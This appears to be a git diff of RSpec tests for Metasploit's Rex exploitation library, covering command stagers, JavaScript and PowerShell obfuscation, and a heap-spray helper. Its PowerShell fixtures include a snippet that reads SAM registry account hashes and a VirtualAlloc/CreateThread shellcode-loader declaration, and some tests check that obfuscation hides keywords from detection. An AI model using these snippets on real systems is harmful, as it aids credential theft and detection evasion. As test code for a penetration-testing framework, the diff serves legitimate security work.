b/spec/lib/rex/exploitation/cmdstager/debug_write_spec.rb new file mode 100644 index 0000000000..b70e228ada --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/debug_write_spec.rb @@ -0,0 +1,35 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerDebugWrite do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns &" do + expect(cmd_stager.cmd_concat_operator).to eq(" & ") + end + end + + describe '#generate' do + let(:opts) do + { + :decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "debug_write") + } + end + + it "returns an array of commands" do + result = cmd_stager.generate(opts) + + expect(result).to be_kind_of(Array) + expect(result).to_not be_empty + end + end + +end diff --git a/spec/lib/rex/exploitation/cmdstager/echo_spec.rb b/spec/lib/rex/exploitation/cmdstager/echo_spec.rb new file mode 100644 index 0000000000..a3d91f2382 --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/echo_spec.rb @@ -0,0 +1,29 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerEcho do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns ;" do + expect(cmd_stager.cmd_concat_operator).to eq(" ; ") + end + end + + describe '#generate' do + it "returns an array of commands" do + result = cmd_stager.generate + + expect(result).to be_kind_of(Array) + expect(result).to_not be_empty + end + end + +end diff --git a/spec/lib/rex/exploitation/cmdstager/printf_spec.rb b/spec/lib/rex/exploitation/cmdstager/printf_spec.rb new file mode 100644 index 0000000000..02927f7ecb --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/printf_spec.rb @@ -0,0 +1,29 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerPrintf do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns ;" do + expect(cmd_stager.cmd_concat_operator).to eq(" ; ") + end + end + + describe '#generate' do + it "returns an array of commands" do + result = cmd_stager.generate + + expect(result).to be_kind_of(Array) + expect(result).to_not be_empty + end + end + +end diff --git a/spec/lib/rex/exploitation/cmdstager/tftp_spec.rb b/spec/lib/rex/exploitation/cmdstager/tftp_spec.rb new file mode 100644 index 0000000000..813533fd4d --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/tftp_spec.rb @@ -0,0 +1,29 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerTFTP do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns nil" do + expect(cmd_stager.cmd_concat_operator).to be_nil + end + end + + describe '#generate' do + it "returns an array of commands" do + result = cmd_stager.generate + + expect(result).to be_kind_of(Array) + expect(result).to_not be_empty + end + end + +end diff --git a/spec/lib/rex/exploitation/cmdstager/vbs_spec.rb b/spec/lib/rex/exploitation/cmdstager/vbs_spec.rb new file mode 100644 index 0000000000..9b30c4cceb --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/vbs_spec.rb @@ -0,0 +1,35 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerVBS do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns &" do + expect(cmd_stager.cmd_concat_operator).to eq(" & ") + end + end + + describe '#generate' do + let(:opts) do + { + :decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64") + } + end + + it "returns an array of commands" do + result = cmd_stager.generate(opts) + + expect(result).to be_kind_of(Array) + expect(result).to_not be_empty + end + end + +end diff --git a/spec/lib/rex/exploitation/encryptjs_spec.rb b/spec/lib/rex/exploitation/encryptjs_spec.rb new file mode 100644 index 0000000000..ba88ab7fdd --- /dev/null +++ b/spec/lib/rex/exploitation/encryptjs_spec.rb @@ -0,0 +1,35 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/encryptjs' + +describe Rex::Exploitation::EncryptJS do + + let(:code) { "var test = 'metasploit';" } + let(:key) { 'secret' } + let(:signature) { 'metasploit' } + let(:loader_signature) { 'location.search.substring(1);' } + let(:loader_key_words) { ['exploit', 'encoded', 'pass', 'decoded'] } + + describe ".encrypt" do + it "returns an String" do + expect(Rex::Exploitation::EncryptJS.encrypt(code, key)).to be_an(String) + end + + it "returns the JavaScript loader code" do + expect(Rex::Exploitation::EncryptJS.encrypt(code, key)).to include(loader_signature) + end + + it "encrypts the code" do + expect(Rex::Exploitation::EncryptJS.encrypt(code, key)).to_not include(signature) + end + + it "obfuscates the loader" do + loader_key_words.each do |key_word| + expect(Rex::Exploitation::EncryptJS.encrypt(code, key)).to_not include(key_word) + end + end + + end + +end diff --git a/spec/lib/rex/exploitation/heaplib_spec.rb b/spec/lib/rex/exploitation/heaplib_spec.rb new file mode 100644 index 0000000000..50fc8751a6 --- /dev/null +++ b/spec/lib/rex/exploitation/heaplib_spec.rb @@ -0,0 +1,66 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/heaplib' + +describe Rex::Exploitation::HeapLib do + + let(:custom_code) { "var test = 'metasploit';" } + let(:plain_signature) { 'JavaScript Heap Exploitation library' } + let(:signature) { 'function(maxAlloc, heapBase)' } + let(:methods) { + [ + 'lookasideAddr', + 'lookaside', + 'flushOleaut32', + 'freeOleaut32', + 'allocOleaut32', + 'paddingStr', + 'debugBreak', + 'debugHeap' + ] + } + + subject(:heap_lib_class) do + described_class.allocate + end + + subject(:heap_lib) do + described_class.new + end + + describe "#initialize" do + it "returns an String" do + expect(heap_lib_class.send(:initialize)).to be_a(String) + end + + it "returns the heap lib code" do + expect(heap_lib_class.send(:initialize)).to include(signature) + end + + it "obfuscates with ObfuscateJS by default" do + methods.each do |m| + expect(heap_lib_class.send(:initialize)).to_not include(m) + end + end + + it "allows to provide custom JS code as argument" do + expect(heap_lib_class.send(:initialize, custom_code)).to include(custom_code) + end + + it "allows to disable obfuscation" do + expect(heap_lib_class.send(:initialize, '', {:noobfu => true})).to include(plain_signature) + end + + it "allows to use JSObfu for obfuscation" do + expect(heap_lib_class.send(:initialize, '', {:newobfu => true})).to_not include(plain_signature) + end + end + + describe "#to_s" do + it "returns the heap lib js code" do + expect(heap_lib.to_s).to include(signature) + end + end + +end diff --git a/spec/lib/rex/exploitation/js/detect_spec.rb b/spec/lib/rex/exploitation/js/detect_spec.rb index f473f73fbd..23eabd0032 100644 --- a/spec/lib/rex/exploitation/js/detect_spec.rb +++ b/spec/lib/rex/exploitation/js/detect_spec.rb @@ -7,24 +7,24 @@ describe Rex::Exploitation::Js::Detect do context ".os" do it "should load the OS detection in Javascript" do js = Rex::Exploitation::Js::Detect.os.to_s - js.should =~ /window\.os_detect/ + js.should =~ /os_detect/ end end context ".ie_addons" do it "should load the IE Addons detection in Javascript" do js = Rex::Exploitation::Js::Detect.ie_addons.to_s - js.should =~ /window\.ie_addons_detect/ + js.should =~ /ie_addons_detect/ end end context ".misc_addons" do it "should load the misc Addons detection in Javascript" do js = Rex::Exploitation::Js::Detect.misc_addons.to_s - js.should =~ /window\.misc_addons_detect/ + js.should =~ /misc_addons_detect/ end end end -end \ No newline at end of file +end diff --git a/spec/lib/rex/exploitation/js/memory_spec.rb b/spec/lib/rex/exploitation/js/memory_spec.rb index 88dc94f501..b016bce066 100644 --- a/spec/lib/rex/exploitation/js/memory_spec.rb +++ b/spec/lib/rex/exploitation/js/memory_spec.rb @@ -27,4 +27,4 @@ describe Rex::Exploitation::Js::Memory do end -end \ No newline at end of file +end diff --git a/spec/lib/rex/exploitation/js/network_spec.rb b/spec/lib/rex/exploitation/js/network_spec.rb index 9f74c6bf43..7369bc5897 100644 --- a/spec/lib/rex/exploitation/js/network_spec.rb +++ b/spec/lib/rex/exploitation/js/network_spec.rb @@ -16,7 +16,6 @@ describe Rex::Exploitation::Js::Network do js = Rex::Exploitation::Js::Network.ajax_post js.should =~ /function postInfo/ end - end end diff --git a/spec/lib/rex/exploitation/js/utils_spec.rb b/spec/lib/rex/exploitation/js/utils_spec.rb index f755d99ca2..3dcf60e7ac 100644 --- a/spec/lib/rex/exploitation/js/utils_spec.rb +++ b/spec/lib/rex/exploitation/js/utils_spec.rb @@ -13,4 +13,4 @@ describe Rex::Exploitation::Js::Utils do end -end \ No newline at end of file +end diff --git a/spec/lib/rex/exploitation/jsobfu_spec.rb b/spec/lib/rex/exploitation/jsobfu_spec.rb index 25e05cc34e..ec56762cf6 100644 --- a/spec/lib/rex/exploitation/jsobfu_spec.rb +++ b/spec/lib/rex/exploitation/jsobfu_spec.rb @@ -2,50 +2,28 @@ require 'spec_helper' require 'rex/exploitation/jsobfu' describe Rex::Exploitation::JSObfu do + TEST_JS = %Q| + function x() { + alert('1'); + }; + + x(); + | subject(:jsobfu) do - described_class.new("") + described_class.new(TEST_JS) end - describe '#random_var_name' do - subject(:random_var_name) { jsobfu.random_var_name } - - it { should be_a String } - it { should_not be_empty } - - it 'is composed of _, $, alphanumeric chars' do - 20.times { expect(jsobfu.random_var_name).to match(/\A[a-zA-Z0-9$_]+\Z/) } + describe '#obfuscate' do + + it 'returns a #to_s object' do + expect(jsobfu.obfuscate.to_s).to be_a(String) end - it 'does not start with a number' do - 20.times { expect(jsobfu.random_var_name).not_to match(/\A[0-9]/) } + it 'returns a non-empty String' do + expect(jsobfu.obfuscate.to_s).not_to be_empty end - context 'when a reserved word is generated' do - let(:reserved) { described_class::RESERVED_KEYWORDS.first } - let(:random) { 'abcdef' } - let(:generated) { [reserved, reserved, reserved, random] } - - before do - jsobfu.stub(:random_string) { generated.shift } - end - - it { should be random } - end - - context 'when a non-unique random var is generated' do - let(:preexisting) { 'preexist' } - let(:random) { 'abcdef' } - let(:vars) { { 'jQuery' => preexisting } } - let(:generated) { [preexisting, preexisting, preexisting, random] } - - before do - jsobfu.stub(:random_string) { generated.shift } - jsobfu.instance_variable_set("@vars", vars) - end - - it { should be random } - end end end diff --git a/spec/lib/rex/exploitation/powershell/function_spec.rb b/spec/lib/rex/exploitation/powershell/function_spec.rb new file mode 100644 index 0000000000..fbe50770c1 --- /dev/null +++ b/spec/lib/rex/exploitation/powershell/function_spec.rb @@ -0,0 +1,85 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/powershell' + +describe Rex::Exploitation::Powershell::Function do + + let(:function_name) do + Rex::Text.rand_text_alpha(15) + end + + let(:example_function_without_params) do + """ +{ + ls HKLM:\SAM\SAM\Domains\Account\Users | + where {$_.PSChildName -match \"^[0-9A-Fa-f]{8}$\"} | + Add-Member AliasProperty KeyName PSChildName -PassThru | + Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru | + Add-Member ScriptProperty V {[byte[]]($this.GetValue(\"V\"))} -PassThru | + Add-Member ScriptProperty UserName {Get-UserName($this.GetValue(\"V\"))} -PassThru | + Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue(\"V\")[0x9c..0x9f],0) + 0xCC} -PassThru +}""" + end + + let(:example_function_with_params) do + """ + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void], + + [String]$Parpy='hello', + [Integer] $puppy = 1, + + [Array[]] $stuff = Array[], + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + }""" + end + + describe "::initialize" do + it 'should handle a function without params' do + function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_without_params) + function.name.should eq function_name + function.code.should eq example_function_without_params + function.to_s.include?("function #{function_name} #{example_function_without_params}").should be_truthy + function.params.should be_kind_of Array + function.params.empty?.should be_truthy + end + + it 'should handle a function with params' do + function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_with_params) + function.name.should eq function_name + function.code.should eq example_function_with_params + function.to_s.include?("function #{function_name} #{example_function_with_params}").should be_truthy + function.params.should be_kind_of Array + function.params.length.should be == 5 + function.params[0].klass.should eq 'Type[]' + function.params[0].name.should eq 'Parameters' + function.params[1].klass.should eq 'Type' + function.params[1].name.should eq 'ReturnType' + end + end + +end + diff --git a/spec/lib/rex/exploitation/powershell/obfu_spec.rb b/spec/lib/rex/exploitation/powershell/obfu_spec.rb new file mode 100644 index 0000000000..208b22dffa --- /dev/null +++ b/spec/lib/rex/exploitation/powershell/obfu_spec.rb @@ -0,0 +1,232 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/powershell' + +describe Rex::Exploitation::Powershell::Obfu do + + let(:example_script_without_literal) do +""" +function Find-4624Logons +{ + +<# + +multiline_comment + +#> +\r\n\r\n\r\n +\r\n + +lots \t of whitespace + +\n\n\n\n\n +\n\n + + +# single_line_comment1 + # single_line_comment2 + # + # single_line_comment3 + if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\")) + { + $Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort + if (-not $ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + LogType = 4624 + LogSource = \"Security\" + SourceAccountName = $AccountName + SourceDomainName = $AccountDomain + NewLogonAccountName = $NewLogonAccountName + NewLogonAccountDomain = $NewLogonAccountDomain + LogonType = $LogonType + WorkstationName = $WorkstationName + SourceNetworkAddress = $SourceNetworkAddress + SourcePort = $SourcePort + Count = 1 + Times = @($Logon.TimeGenerated) + } + + $ResultObj = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $ResultObj) + } + else + { + $ReturnInfo[$Key].Count++ + $ReturnInfo[$Key].Times += ,$Logon.TimeGenerated + } + } + } +}""" + + end + + let(:example_script) do +""" +function Find-4624Logons +{ + +<# + +multiline_comment + +#> +\r\n\r\n\r\n +\r\n + +lots \t of whitespace + +\n\n\n\n\n +\n\n + + +# single_line_comment1 + # single_line_comment2 + # + # single_line_comment3 + $some_literal = @\" + using System; + using System.Runtime.InteropServices; + namespace $kernel32 { + public class func { + [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 } + [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 } + [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF } + [DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); + [DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); + [DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds); + } + } +\"@ + if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\")) + { + $Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort + if (-not $ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + LogType = 4624 + LogSource = \"Security\" + SourceAccountName = $AccountName + SourceDomainName = $AccountDomain + NewLogonAccountName = $NewLogonAccountName + NewLogonAccountDomain = $NewLogonAccountDomain + LogonType = $LogonType + WorkstationName = $WorkstationName + SourceNetworkAddress = $SourceNetworkAddress + SourcePort = $SourcePort + Count = 1 + Times = @($Logon.TimeGenerated) + } + $literal2 = @\"parp\"@ + $ResultObj = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $ResultObj) + } + else + { + $ReturnInfo[$Key].Count++ + $ReturnInfo[$Key].Times += ,$Logon.TimeGenerated + } + } + } +}""" + + end + + let(:subject) do + Rex::Exploitation::Powershell::Script.new(example_script) + end + + let(:subject_no_literal) do + Rex::Exploitation::Powershell::Script.new(example_script_without_literal) + end + + describe "::strip_comments" do + it 'should strip a multiline comment' do + subject.strip_comments + subject.code.should be + subject.code.should be_kind_of String + subject.code.include?('comment').should be_falsey + end + + it 'should strip a single line comment' do + subject.strip_comments + subject.code.should be + subject.code.should be_kind_of String + subject.code.include?('#').should be_falsey + end + end + + describe "::strip_empty_lines" do + it 'should strip extra windows new lines' do + subject.strip_empty_lines + subject.code.should be + subject.code.should be_kind_of String + res = (subject.code =~ /\r\n\r\n/) + res.should be_falsey + end + + it 'should strip extra unix new lines' do + subject.strip_empty_lines + subject.code.should be + subject.code.should be_kind_of String + res = (subject.code =~ /\n\n/) + res.should be_falsey + end + end + + describe "::strip_whitespace" do + it 'should strip additional whitespace' do + subject.strip_whitespace + subject.code.should be + subject.code.should be_kind_of String + subject.code.include?('lots of whitespace').should be_truthy + end + end + + describe "::sub_vars" do + it 'should replace variables with unique names' do + subject.sub_vars + subject.code.should be + subject.code.should be_kind_of String + subject.code.include?('$kernel32').should be_falsey + subject.code.include?('$Logon').should be_falsey + end + end + + describe "::sub_funcs" do + it 'should replace functions with unique names' do + subject.sub_funcs + subject.code.should be + subject.code.should be_kind_of String + subject.code.include?('Find-4624Logons').should be_falsey + end + end + + describe "::standard_subs" do + it 'should run all substitutions on a script with no literals' do + subject_no_literal.standard_subs + subject_no_literal.code.should be + subject_no_literal.code.should be_kind_of String + subject_no_literal.code.include?('Find-4624Logons').should be_falsey + subject_no_literal.code.include?('lots of whitespace').should be_truthy + subject_no_literal.code.include?('$kernel32').should be_falsey + subject_no_literal.code.include?('comment').should be_falsey + res = (subject_no_literal.code =~ /\r\n\r\n/) + res.should be_falsey + end + + it 'should run all substitutions except strip whitespace when literals are present' do + subject.standard_subs + subject.code.should be + subject.code.should be_kind_of String + subject.code.include?('Find-4624Logons').should be_falsey + subject.code.include?('lots of whitespace').should be_falsey + subject.code.include?('$kernel32').should be_falsey + subject.code.include?('comment').should be_falsey + res = (subject.code =~ /\r\n\r\n/) + res.should be_falsey + end + end +end + diff --git a/spec/lib/rex/exploitation/powershell/output_spec.rb b/spec/lib/rex/exploitation/powershell/output_spec.rb new file mode 100644 index 0000000000..a0aebdd24e --- /dev/null +++ b/spec/lib/rex/exploitation/powershell/output_spec.rb @@ -0,0 +1,115 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/powershell' + +describe Rex::Exploitation::Powershell::Output do + + let(:example_script) do + Rex::Text.rand_text_alpha(400) + end + + let(:subject) do + Rex::Exploitation::Powershell::Script.new(example_script) + end + + let(:eof) do + Rex::Text.rand_text_alpha(10) + end + + describe "::to_s" do + it 'should print the script' do + subject.to_s.should eq example_script + end + end + + describe "::size" do + it 'should return the size of the script' do + subject.size.should eq example_script.size + end + end + + describe "::to_s_lineno" do + it 'should print the script with line numbers' do + subject.to_s_lineno.should eq "0: #{example_script}" + end + end + + describe "::deflate_code" do + it 'should zlib the code and wrap in powershell in uncompression stub' do + compressed = subject.deflate_code + compressed.include?('IO.Compression.DeflateStream').should be_truthy + compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/ + $1.size.should be < Rex::Text.encode_base64(example_script).size + compressed.should eq subject.code + end + + it 'should append an eof marker if specified' do + compressed = subject.deflate_code(eof) + compressed.include?("echo '#{eof}';").should be_truthy + end + end + + describe "::encode_code" do + it 'should base64 encode the code' do + encoded = subject.encode_code + encoded.should eq subject.code + encoded =~ /^([A-Za-z0-9\/+=]+)$/ + $1.size.should eq encoded.size + end + end + + describe "::gzip_code" do + it 'should gzip the code and wrap in powershell in uncompression stub' do + compressed = subject.gzip_code + compressed.include?('IO.Compression.GzipStream').should be_truthy + compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/ + $1.size.should be < Rex::Text.encode_base64(example_script).size + compressed.should eq subject.code + end + + it 'should append an eof marker if specified' do + compressed = subject.gzip_code(eof) + compressed.include?("echo '#{eof}';").should be_truthy + end + end + + describe "::compress_code" do + it 'should gzip by default' do + compressed = subject.compress_code + compressed.include?('IO.Compression.GzipStream').should be_truthy + end + + it 'should deflate if gzip is false' do + compressed = subject.compress_code(nil,false) + compressed.include?('IO.Compression.DeflateStream').should be_truthy + end + + it 'should append an eof' do + compressed = subject.compress_code(eof) + compressed.include?("echo '#{eof}';").should be_truthy + end + end + + describe "::decompress_code" do + it 'should locate the base64 string and decompress it when deflate is used' do + compressed = subject.compress_code(nil, false) + decompressed = subject.decompress_code + decompressed.should eq example_script + end + + it 'should locate the base64 string and decompress it when gzip is used' do + compressed = subject.compress_code + decompressed = subject.decompress_code + decompressed.should eq example_script + end + + it 'should raise a RuntimeException if the Base64 string is not compressed/corrupted' do + corrupted = "FromBase64String('parp')" + subject.code = corrupted + expect { subject.decompress_code }.to raise_error(RuntimeError) + subject.code.should eq corrupted + end + end +end + diff --git a/spec/lib/rex/exploitation/powershell/param_spec.rb b/spec/lib/rex/exploitation/powershell/param_spec.rb new file mode 100644 index 0000000000..98bd22f373 --- /dev/null +++ b/spec/lib/rex/exploitation/powershell/param_spec.rb @@ -0,0 +1,27 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/powershell' + +describe Rex::Exploitation::Powershell::Param do + + let(:param_name) do + Rex::Text.rand_text_alpha(15) + end + + let(:klass_name) do + Rex::Text.rand_text_alpha(15) + end + + describe "::initialize" do + it 'should create a param' do + param = Rex::Exploitation::Powershell::Param.new(klass_name, param_name) + param.should be + param.name.should eq param_name + param.klass.should eq klass_name + param.to_s.include?("[#{klass_name}]$#{param_name}").should be_truthy + end + end + +end + diff --git a/spec/lib/rex/exploitation/powershell/parser_spec.rb b/spec/lib/rex/exploitation/powershell/parser_spec.rb new file mode 100644 index 0000000000..02f9694854 --- /dev/null +++ b/spec/lib/rex/exploitation/powershell/parser_spec.rb @@ -0,0 +1,159 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/powershell' + +describe Rex::Exploitation::Powershell::Parser do + + let(:example_script) do +""" +function Find-4624Logons +{ + $some_literal = @\" + using System; + using System.Runtime.InteropServices; + namespace $kernel32 { + public class func { + [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 } + [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 } + [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF } + [DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); + [DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); + [DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds); + } + } +\"@ + if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\")) + { + $Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort + if (-not $ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + LogType = 4624 + LogSource = \"Security\" + SourceAccountName = $AccountName + SourceDomainName = $AccountDomain + NewLogonAccountName = $NewLogonAccountName + NewLogonAccountDomain = $NewLogonAccountDomain + LogonType = $LogonType + WorkstationName = $WorkstationName + SourceNetworkAddress = $SourceNetworkAddress + SourcePort = $SourcePort + Count = 1 + Times = @($Logon.TimeGenerated) + } + $literal2 = @\"parp\"@ + $ResultObj = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $ResultObj) + } + else + { + $ReturnInfo[$Key].Count++ + $ReturnInfo[$Key].Times += ,$Logon.TimeGenerated + } + } + } +}""" + + end + + let(:subject) do + Rex::Exploitation::Powershell::Script.new(example_script) + end + + describe "::get_var_names" do + it 'should return some variable names' do + vars = subject.get_var_names + vars.should be + vars.should be_kind_of Array + vars.length.should be > 0 + vars.include?('$ResultObj').should be_truthy + end + + it 'should not match upper or lowercase reserved names' do + initial_vars = subject.get_var_names + subject.code << "\r\n$SHELLID" + subject.code << "\r\n$ShellId" + subject.code << "\r\n$shellid" + after_vars = subject.get_var_names + initial_vars.should eq after_vars + end + end + + describe "::get_func_names" do + it 'should return some function names' do + funcs = subject.get_func_names + funcs.should be + funcs.should be_kind_of Array + funcs.length.should be > 0 + funcs.include?('Find-4624Logons').should be_truthy + end + end + + describe "::get_string_literals" do + it 'should return some string literals' do + literals = subject.get_string_literals + literals.should be + literals.should be_kind_of Array + literals.length.should be > 0 + literals[0].include?('parp').should be_falsey + end + end + + describe "::scan_with_index" do + it 'should scan code and return the items with an index' do + scan = subject.scan_with_index('DllImport') + scan.should be + scan.should be_kind_of Array + scan.length.should be > 0 + scan[0].should be_kind_of Array + scan[0][0].should be_kind_of String + scan[0][1].should be_kind_of Integer + end + end + + describe "::match_start" do + it 'should match the correct brackets' do + subject.match_start('{').should eq '}' + subject.match_start('(').should eq ')' + subject.match_start('[').should eq ']' + subject.match_start('<').should eq '>' + expect { subject.match_start('p') }.to raise_exception(ArgumentError) + end + end + + describe "::block_extract" do + it 'should extract a block between brackets given an index' do + idx = subject.code.index('{') + block = subject.block_extract(idx) + block.should be + block.should be_kind_of String + end + + it 'should raise a runtime error if given an invalid index' do + expect { subject.block_extract(nil) }.to raise_error(ArgumentError) + expect { subject.block_extract(-1) }.to raise_error(ArgumentError) + expect { subject.block_extract(subject.code.length) }.to raise_error(ArgumentError) + expect { subject.block_extract(59) }.to raise_error(ArgumentError) + end + end + + describe "::get_func" do + it 'should extract a function from the code' do + function = subject.get_func('Find-4624Logons') + function.should be + function.should be_kind_of Rex::Exploitation::Powershell::Function + end + + it 'should return nil if function doesnt exist' do + function = subject.get_func(Rex::Text.rand_text_alpha(5)) + function.should be_nil + end + + it 'should delete the function if delete is true' do + function = subject.get_func('Find-4624Logons', true) + subject.code.include?('DllImport').should be_falsey + end + end +end + diff --git a/spec/lib/rex/exploitation/powershell/psh_methods_spec.rb b/spec/lib/rex/exploitation/powershell/psh_methods_spec.rb new file mode 100644 index 0000000000..7b2b9b4fe6 --- /dev/null +++ b/spec/lib/rex/exploitation/powershell/psh_methods_spec.rb @@ -0,0 +1,44 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/powershell' + +describe Rex::Exploitation::Powershell::PshMethods do + + describe "::download" do + it 'should return some powershell' do + script = Rex::Exploitation::Powershell::PshMethods.download('a','b') + script.should be + script.include?('WebClient').should be_truthy + end + end + describe "::uninstall" do + it 'should return some powershell' do + script = Rex::Exploitation::Powershell::PshMethods.uninstall('a') + script.should be + script.include?('Win32_Product').should be_truthy + end + end + describe "::secure_string" do + it 'should return some powershell' do + script = Rex::Exploitation::Powershell::PshMethods.secure_string('a') + script.should be + script.include?('AsPlainText').should be_truthy + end + end + describe "::who_locked_file" do + it 'should return some powershell' do + script = Rex::Exploitation::Powershell::PshMethods.who_locked_file('a') + script.should be + script.include?('Get-Process').should be_truthy + end + end + describe "::get_last_login" do + it 'should return some powershell' do + script = Rex::Exploitation::Powershell::PshMethods.get_last_login('a') + script.should be + script.include?('Get-QADComputer').should be_truthy + end + end +end + diff --git a/spec/lib/rex/exploitation/powershell/script_spec.rb b/spec/lib/rex/exploitation/powershell/script_spec.rb new file mode 100644 index 0000000000..b8076478cf --- /dev/null +++ b/spec/lib/rex/exploitation/powershell/script_spec.rb @@ -0,0 +1,48 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/powershell' + +describe Rex::Exploitation::Powershell::Output do + + let(:example_script) do + Rex::Text.rand_text_alpha(400) + end + + let(:subject) do + Rex::Exploitation::Powershell::Script.new(example_script) + end + + describe "::initialize" do + it 'should create a new script object' do + subject.should be + subject.should be_kind_of Rex::Exploitation::Powershell::Script + subject.rig.should be + subject.rig.should be_kind_of Rex::RandomIdentifierGenerator + subject.code.should be + subject.code.should be_kind_of String + subject.code.empty?.should be_falsey + subject.functions.empty?.should be_truthy + end + end + + describe "::to_byte_array" do + it 'should generate a powershell byte array' do + byte_array = Rex::Exploitation::Powershell::Script.to_byte_array("parp") + byte_array.should be + byte_array.should be_kind_of String + byte_array.include?('[Byte[]] $').should be_truthy + end + end + + describe "::code_modifiers" do + it 'should return an array of modifier methods' do + mods = Rex::Exploitation::Powershell::Script.code_modifiers + mods.should be + mods.should be_kind_of Array + mods.empty?.should be_falsey + end + end + +end + diff --git a/spec/lib/rex/exploitation/powershell_spec.rb b/spec/lib/rex/exploitation/powershell_spec.rb new file 